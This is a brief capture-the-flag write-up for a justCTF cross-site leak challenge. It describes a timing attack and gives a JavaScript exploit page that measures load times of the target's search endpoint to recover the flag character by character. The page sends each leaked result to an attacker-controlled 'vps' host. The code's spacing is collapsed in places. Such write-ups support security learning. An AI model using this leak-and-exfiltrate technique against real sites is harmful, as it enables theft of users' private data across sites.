In this challenge the user could sent thousands of chars and if the flag was contained, the chars would be sent back to the bot. So putting a big amount of chars the attacker could measure if the flag was containing in the sent string or not.
Initially, I didn’t set object width and height, but later on, I found that it’s important because the default size is too small to make a difference in the load time.
<!DOCTYPEhtml><html><head></head><body> <imgsrc="https://deelay.me/30000/https://example.com"> <script>fetch('https://deelay.me/30000/https://example.com')functionsend(data) {fetch('http://vps?data='+encodeURIComponent(data)).catch(err =>1) }functionleak(char, callback) {returnnewPromise(resolve => {let ss ='just_random_string'let url =`http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)let start =performance.now()let object =document.createElement('object');object.width ='2000px'object.height ='2000px'object.data = url;object.onload= () => {object.remove()let end =performance.now()resolve(end - start) }object.onerror= () =>console.log('Error event triggered');document.body.appendChild(object); }) }send('start')let charset ='abcdefghijklmnopqrstuvwxyz_}'.split('')let flag ='justCTF{'asyncfunctionmain() {let found =0let notFound =0for(let i=0;i<3;i++) {awaitleak('..') }for(let i=0; i<3; i++) { found +=awaitleak('justCTF') }for(let i=0; i<3; i++) { notFound +=awaitleak('NOT_FOUND123') } found /=3 notFound /=3send('found flag:'+found)send('not found flag:'+notFound)let threshold = found - ((found - notFound)/2)send('threshold:'+threshold)if (notFound > found) {return }// exploitwhile(true) {if (flag[flag.length-1] ==='}') {break }for(let char of charset) {let trying = flag + charlet time =0for(let i=0; i<3; i++) { time +=awaitleak(trying) } time/=3send('char:'+trying+',time:'+time)if (time >= threshold) { flag += charsend(flag)break } } } }main() </script></body></html>